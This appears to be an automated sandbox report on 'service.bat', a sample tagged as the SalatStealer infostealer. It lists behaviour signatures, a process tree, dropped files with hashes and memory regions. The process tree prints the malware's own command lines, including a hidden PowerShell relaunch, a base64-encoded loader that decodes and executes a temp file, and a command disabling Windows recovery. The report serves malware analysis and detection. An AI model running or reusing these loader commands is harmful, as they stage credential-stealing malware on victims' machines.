Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/10/2026, 04:48

General

  • Target
    service.bat
  • Size 4.6MB
  • Sample261030-ffkwvsax2k
  • SHA256 0e0340c1cd26c0a019d205be8f48817f7b62fefa5400ab66c0fc4fa1f86bab42
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

  • Detect SalatStealer payload 16 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes a file named after a Windows system binary 1 TTPs 2 IoCs

    The file runs from a user directory while carrying the name of an executable that normally only exists in System32.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 2 IoCs
  • UPX packed file 20 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 1 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 5 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 48 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\service.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2748
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -c "$p=$env:LCBAT; Start-Process -WindowStyle Hidden -FilePath $env:ComSpec -ArgumentList @('/c',([char]34+$p+[char]34),'h')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5260
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\service.bat" h
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3372
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoP -NonI -W Hidden -Exec Bypass -e "JABmAD0AWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAAUABhAHQAaAAoACkAKwAnAGwAYwBfADMANQA0ADgAXwAxADcAOAA5ADIAMQA4ADMAOAA4ADgANAA4ADAAMQA3ADIAMAAwAC4AbAA2ADQAJwA7ACQAdAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAGYAKQAtAHIAZQBwAGwAYQBjAGUAJwBbAFwAcgBcAG4AXQAnACwAJwAnADsAaQBlAHgAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAKQApACkA"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4796
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zr5c4zlj\zr5c4zlj.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4864
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3BA.tmp" "c:\Users\Admin\AppData\Local\Temp\zr5c4zlj\CSC3CDE5399528542AF99645D5366A4C2C.TMP"
              6⤵
                PID:2324
            • C:\Users\Admin\AppData\Local\Temp\p_fb2d48bc-27e6-4b42-a359-01f3fa1f8573.exe
              "C:\Users\Admin\AppData\Local\Temp\p_fb2d48bc-27e6-4b42-a359-01f3fa1f8573.exe"
              5⤵
              • Executes a file named after a Windows system binary
              • Executes dropped EXE
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:3352
              • C:\Users\Admin\AppData\Local\Packages\winlogon.exe
                C:\Users\Admin\AppData\Local\Packages\winlogon.exe
                6⤵
                • Executes a file named after a Windows system binary
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:5544
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe
                  7⤵
                  • UAC bypass
                  • Badlisted process makes network request
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:4048
                  • C:\Windows\SysWOW64\ReAgentc.exe
                    "C:\Windows\system32\ReAgentc.exe" /disable
                    8⤵
                    • Drops file in System32 directory
                    • Drops file in Windows directory
                    • System Location Discovery: System Language Discovery
                    PID:2104
                • C:\Program Files (x86)\Microsoft\Edge\Application\winlogon.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\winlogon.exe" -
                  7⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  PID:5808
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:4112
      • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
        1⤵
          PID:3972
        • C:\Windows\System32\svchost.exe
          C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
          1⤵
            PID:1656

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 174de485d7265108d719a0fcaac35b1acaef5307bdbc43bec5ebb31299e56f1f
                • MD5 SHA1 SHA512 TLSH

                RES3BA.tmp

                • Path C:\Users\Admin\AppData\Local\Temp\RES3BA.tmp
                • Size 1KB
                • SHA256 4c8237f117f2727608a81b2ad121c4333ea3a104d73b2f417e7a9c7852b56db4
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_umwaupe2.2zg.psm1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_umwaupe2.2zg.psm1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                lc_3548_1789218388848017200.b64

                • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
                • Size 4.6MB
                • SHA256 3da2c0a994bf3f0c6a1a7a76ecff6c1a31eeec96be03bc86874909a43d929eec
                • MD5 SHA1 SHA512 SSDEEP TLSH

                lc_3548_1789218388848017200.l64

                • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.l64
                • Size 10KB
                • SHA256 4798a29f55cd8200581123ae2aaa40a4657edd358b7b5b2831506e41663cc293
                • MD5 SHA1 SHA512 SSDEEP TLSH

                p_fb2d48bc-27e6-4b42-a359-01f3fa1f8573.exe

                • Path C:\Users\Admin\AppData\Local\Temp\p_fb2d48bc-27e6-4b42-a359-01f3fa1f8573.exe
                • Size 3.4MB
                • SHA256 2d14c4c6626d132fceb3e7639a344875db53c10b39a32f0069c3d9453720cd88
                • MD5 SHA1 SHA512 SSDEEP TLSH

                zr5c4zlj.dll

                • Path C:\Users\Admin\AppData\Local\Temp\zr5c4zlj\zr5c4zlj.dll
                • Size 5KB
                • SHA256 57dc50a9b9e44c6408d6510c3b2cbf7aa4704f2655200c362c22da71f9523597
                • MD5 SHA1 SHA512 SSDEEP TLSH

                CSC3CDE5399528542AF99645D5366A4C2C.TMP

                • Path \??\c:\Users\Admin\AppData\Local\Temp\zr5c4zlj\CSC3CDE5399528542AF99645D5366A4C2C.TMP
                • Size 652B
                • SHA256 9c10de830fa1a04e9b71d77fef7c7679b199d47f79f9ac8e40fb47c5ec138620
                • MD5 SHA1 SHA512 TLSH

                zr5c4zlj.0.cs

                • Path \??\c:\Users\Admin\AppData\Local\Temp\zr5c4zlj\zr5c4zlj.0.cs
                • Size 2KB
                • SHA256 f48c932311da4613b034f7a793b257a73ccd428c9c8758b19d312b7d208f3852
                • MD5 SHA1 SHA512 TLSH

                zr5c4zlj.cmdline

                • Path \??\c:\Users\Admin\AppData\Local\Temp\zr5c4zlj\zr5c4zlj.cmdline
                • Size 369B
                • SHA256 0aa442decf48030309d8655167f1e52e5c1f02d126ecaa655717291394fa13ab
                • MD5 SHA1 SHA512 TLSH

                memory/3352-847-0x0000000000B80000-0x00000000017D5000-memory.dmp

                memory/3352-850-0x0000000000B80000-0x00000000017D5000-memory.dmp

                memory/3352-851-0x0000000000B80000-0x00000000017D5000-memory.dmp

                memory/3352-852-0x0000000000B80000-0x00000000017D5000-memory.dmp

                memory/3352-860-0x0000000000B80000-0x00000000017D5000-memory.dmp

                memory/4048-888-0x0000000007050000-0x0000000007070000-memory.dmp

                memory/4048-892-0x00000000071F0000-0x00000000071FA000-memory.dmp

                memory/4048-895-0x0000000008410000-0x00000000089CA000-memory.dmp

                memory/4048-894-0x0000000007690000-0x00000000076B2000-memory.dmp

                memory/4048-893-0x00000000072A0000-0x0000000007336000-memory.dmp

                memory/4048-891-0x0000000007190000-0x00000000071AA000-memory.dmp

                memory/4048-890-0x00000000077D0000-0x0000000007E4C000-memory.dmp

                memory/4048-889-0x0000000007070000-0x0000000007113000-memory.dmp

                memory/4048-885-0x0000000070EA0000-0x00000000711FB000-memory.dmp

                memory/4048-884-0x0000000070CF0000-0x0000000070D3C000-memory.dmp

                memory/4048-883-0x0000000007010000-0x0000000007046000-memory.dmp

                memory/4048-882-0x0000000006110000-0x0000000006158000-memory.dmp

                memory/4048-879-0x0000000005C00000-0x0000000005C4C000-memory.dmp

                memory/4048-878-0x0000000005B60000-0x0000000005B7E000-memory.dmp

                memory/4048-877-0x00000000055F0000-0x000000000594B000-memory.dmp

                memory/4048-872-0x00000000053B0000-0x00000000053D2000-memory.dmp

                memory/4048-873-0x0000000005450000-0x00000000054B6000-memory.dmp

                memory/4048-874-0x00000000054C0000-0x0000000005526000-memory.dmp

                memory/4048-870-0x0000000004D60000-0x00000000053AA000-memory.dmp

                memory/4048-866-0x0000000002310000-0x0000000002346000-memory.dmp

                memory/4796-849-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                memory/4796-821-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                memory/4796-816-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                memory/4796-817-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                memory/4796-828-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                memory/4796-831-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                memory/4796-837-0x00000208AE610000-0x00000208AE618000-memory.dmp

                memory/5260-0-0x00007FFB23A5F000-0x00007FFB23A60000-memory.dmp

                memory/5260-12-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                memory/5260-7-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                memory/5260-8-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                memory/5260-6-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                memory/5260-9-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                memory/5260-10-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                memory/5260-5-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                memory/5260-11-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                memory/5260-3-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                memory/5260-4-0x000001D5A3C80000-0x000001D5A3CA2000-memory.dmp

                memory/5260-14-0x00007FFB238D0000-0x00007FFB24274000-memory.dmp

                memory/5544-905-0x0000000000710000-0x0000000001365000-memory.dmp

                memory/5544-908-0x0000000000710000-0x0000000001365000-memory.dmp

                memory/5544-859-0x0000000000710000-0x0000000001365000-memory.dmp

                memory/5544-862-0x0000000000710000-0x0000000001365000-memory.dmp

                memory/5544-863-0x0000000000710000-0x0000000001365000-memory.dmp

                memory/5544-901-0x0000000000710000-0x0000000001365000-memory.dmp

                memory/5544-903-0x0000000000710000-0x0000000001365000-memory.dmp

                memory/5544-911-0x0000000000710000-0x0000000001365000-memory.dmp

                memory/5544-906-0x0000000000710000-0x0000000001365000-memory.dmp

                memory/5544-907-0x0000000000710000-0x0000000001365000-memory.dmp

                memory/5544-910-0x0000000000710000-0x0000000001365000-memory.dmp

                memory/5544-909-0x0000000000710000-0x0000000001365000-memory.dmp

                memory/5808-871-0x0000000000220000-0x0000000000E75000-memory.dmp

                memory/5808-881-0x0000000000220000-0x0000000000E75000-memory.dmp